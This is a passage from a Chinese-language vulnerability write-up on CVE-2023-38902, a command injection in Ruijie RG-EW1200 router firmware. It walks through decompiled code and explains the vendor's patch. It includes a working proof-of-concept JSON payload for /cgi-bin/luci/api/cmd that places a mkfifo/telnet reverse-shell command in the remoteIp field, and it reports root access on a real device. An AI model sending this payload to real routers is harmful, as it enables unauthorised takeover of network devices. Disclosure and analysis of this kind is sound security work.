  v2 = *(_DWORD *)(a1 + 24 );   v19 = 0 ;   if  ( v2 )   { ......   }   else    {     ufm_read_file("/etc/rg_config/admin" , &v19);     if  ( !v19 )     {       v19 = (const  char  *)strdup("U2FsdGVkX18POF0/cM8IwywAcZUK8zQngpUv7C2zKng=" ); ......     }   } ......   snprintf (     v17,     511 ,     "curl -m 5 -s -k -X POST http://%s/cgi-bin/luci/api/auth -H content-type:application/json -d '{\"method\":\"login\",\""      "params\":{\"username\":\"admini\",\"password\":\"%s\",\"encry\":\"true\"}}'" ,     *(const  char  **)(a1 + 20 ),     v19); ......   v18 = 0 ;   if  ( ufm_popen(v17, &v18) || !v18 )   {     uf_log_printf(uf_log, "ERROR (%s %s %d)curl get sid failed!" , "ufm_remote_call.c" , "fetch_get_sid" , 289 );     return  0 ;   } ......   
上述的调用链已经分析的很清楚了并且都标注在了注释中,理清楚这些后攻击报文的构造就显而易见了。下面说一下我认为有必要提及的两点
为什么 remotePwd 字段无法注入命令? 在 EW_3.0(1)B11P204_EW1200I 固件中,其实是可以从 remotePwd 字段中注入命令并执行的,而且在最新的固件中,也可以看到这里判断了 remotePwd 是否存在,如果存在的话也可以进行拼接,最终导致命令执行,相关代码如下
  v2 = *(_DWORD *)(a1 + 24 );   v19 = 0 ;   if  ( v2 )   {     v19 = (const  char  *)strdup(v2); .......   } ......   snprintf (     v17,     511 ,     "curl -m 5 -s -k -X POST http://%s/cgi-bin/luci/api/auth -H content-type:application/json -d '{\"method\":\"login\",\""      "params\":{\"username\":\"admini\",\"password\":\"%s\",\"encry\":\"true\"}}'" ,     *(const  char  **)(a1 + 20 ),     v19);   if  ( ufm_popen(v17, &v18) || !v18 )   { ......   } 
但在最新的固件中对 remotePwd 字段注入命令是不成功的。
因为发现在 parse_obj2_cmd 函数中对 json 数据解析时,对于 remotePwd 字段的处理是存在 Bug 的,它限制了 remotePwd 字段要为 array 类型(如下代码所示),但是前端对于 array 类型的 remotePwd 会报错。这里其实能猜测出 remotePwd 字段是 string 类型,实际上代码应该是 json_object_get_type(v37) == 6 。这就导致设置 remotePwd 类型时要么是前端报错,要么是二进制程序中判断这个类型错误,从而阴差阳错的阻止了从这里进行注入
if  ( json_object_object_get_ex(v38, "remotePwd" , &v37) == 1  && json_object_get_type(v37) == 5  )
而在 EW_3.0(1)B11P204_EW1200I 固件中,它的功能实现都是由 lua 语言来完成的,最终命令执行的漏洞点如下(fetch_sid 函数的参数 password 就为 remotePwd 字段),因此在该固件版本中可以从 remotePwd 字段进行注入,而之后的版本因为 Bug 的原因无法进行注入
攻击报文为什么这么构造? 攻击报文如下,这些字段都是缺一不可的。而没有出现的字段都是可有可无的
{ 	"method": "devCap.get", 	"params": {         "module": "123",         "remoteIp": "$(mkfifo /tmp/test;telnet 192.168.45.203 6666 0</tmp/test|/bin/sh > /tmp/test)" 	} } 
下面来贴出证明这几个字段缺一不可的关键代码(其实上文的分析中都有提到,这里再汇总一下)
method 和 params 不能为空,因为这里有如下检查,如果他们不存在的话会直接返回 -1
  v6 = json_object_object_get_ex(v3, "params" , &v18);   v7 = v4;   if  ( v6 != 1  )   { LABEL_27:     json_object_put(v7);     return  -1 ;   }   if  ( json_object_object_get_ex(v4, "method" , v19) != 1  )   { LABEL_26:     v7 = v4;     goto  LABEL_27;   } 
而 module 也必须存在,并且 module 字段是 params 中的一个值。可以看到这里解析出了params ,给到 v38。而后 module 字段是从 v38 也就是 params 中解析出来的,如果 module  字段不存在的话,会执行 return 0
  if  ( json_object_object_get_ex(a1, "params" , &v38) != 1  )   { ......   } ......   if  ( json_object_object_get_ex(v38, "module" , &v37) != 1  )   {     uf_log_printf(uf_log, "ERROR (%s %s %d)obj_module is null" , "sgi.c" , "parse_obj2_cmd" , 289 );     goto  LABEL_109;   } LABEL_109:     cmd_msg_free(v3);     return  0 ; 
而操作类型要设置为 devCap ,下面 if(v3 == 3) 才可以执行到 remote_call 函数。
 if  ( v3 == 3  )   { ......     v5 = *(const  char  **)(a1 + 20 );     if  ( !v5 || !*v5 )       goto  LABEL_250;     v6 = a1;     if  ( !is_self_ip(*(_DWORD *)(v6 + 20 )) )     {       remote_call((int  *)a1, (const  char  **)a2);     } 
操作符为 get 是因为在 Lua 文件中只有 opt[i] 为 get 的时候才在 devCap 表中定义了字符串 get 所对应函数
if  opt[i] == "get"  then     devCap[opt[i]] = function (params)          local  model = require  "dev_cap"          params.method = opt[i]         params.cfg_cmd = "dev_cap"          local  data, back, ip, password, shell = doParams(params)         return  fetch(model.fetch, shell, params, opt[i], params.module , ip, password)     end  end 
攻击演示 这里直接拿在京东上买的真机演示,目标路由器型号为 RG-EW1200  这个固件版本是 217(问了下客服说这个目前最新只能升级到 217 ,所以真机演示只能打这个 217 的了,但搭建了 219 的仿真环境也是可以攻击成功的)
首先登录路由器的管理后台
然后用 Burp Suite 抓包,拿到 auth 的值
向 /cgi-bin/luci/api/cmd 发送 POST 报文
POC { 	"method": "devCap.get", 	"params": {         "module": "123",         "remoteIp": "$(mkfifo /tmp/test;telnet 192.168.110.171 6666 0</tmp/test|/bin/sh > /tmp/test)" 	} } 
攻击效果 可以看到反弹 shell 成功,此时拿到了路由器的最高权限
修复方案 官方在 EW_3.0(1)B11P226 版本,对上述漏洞发布了补丁   https://www.ruijie.com.cn/fw/rj/92255/ 
新添加了一个 detect_remoteIp_invalid 函数,该函数检查了 remoteIP 字段是否为纯数字或者字符 . ,因为正常的 IP 应该为 xx.xx.xx.xx 。这相当于对命令注入的字段做了一个过滤
int  __fastcall detect_remoteIp_invalid (char  *buf) {   int  len;    char  *v3;    char  *v4;    int  v5;    len = strlen (buf);   v3 = buf;   v4 = &buf[len];   while  ( v3 != v4 )   {     v5 = *v3;     if  ( (unsigned  __int8)(v5 - 48 ) < 0xA u )     {       ++v3;     }     else      {       ++v3;       if  ( v5 != '.'  )       {         uf_log_printf(           uf_log,           "ERROR (%s %s %d)invalid char: %c, need [number][.][number]!" ,           "sgi.c" ,           "detect_remoteIp_invalid" ,           273 ,           v5);         return  -1 ;       }     }   }   return  0 ; } 
参考信息 https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-38902 
https://gist.github.com/ZIKH26/18693c67ee7d2f8d2c60231b19194c37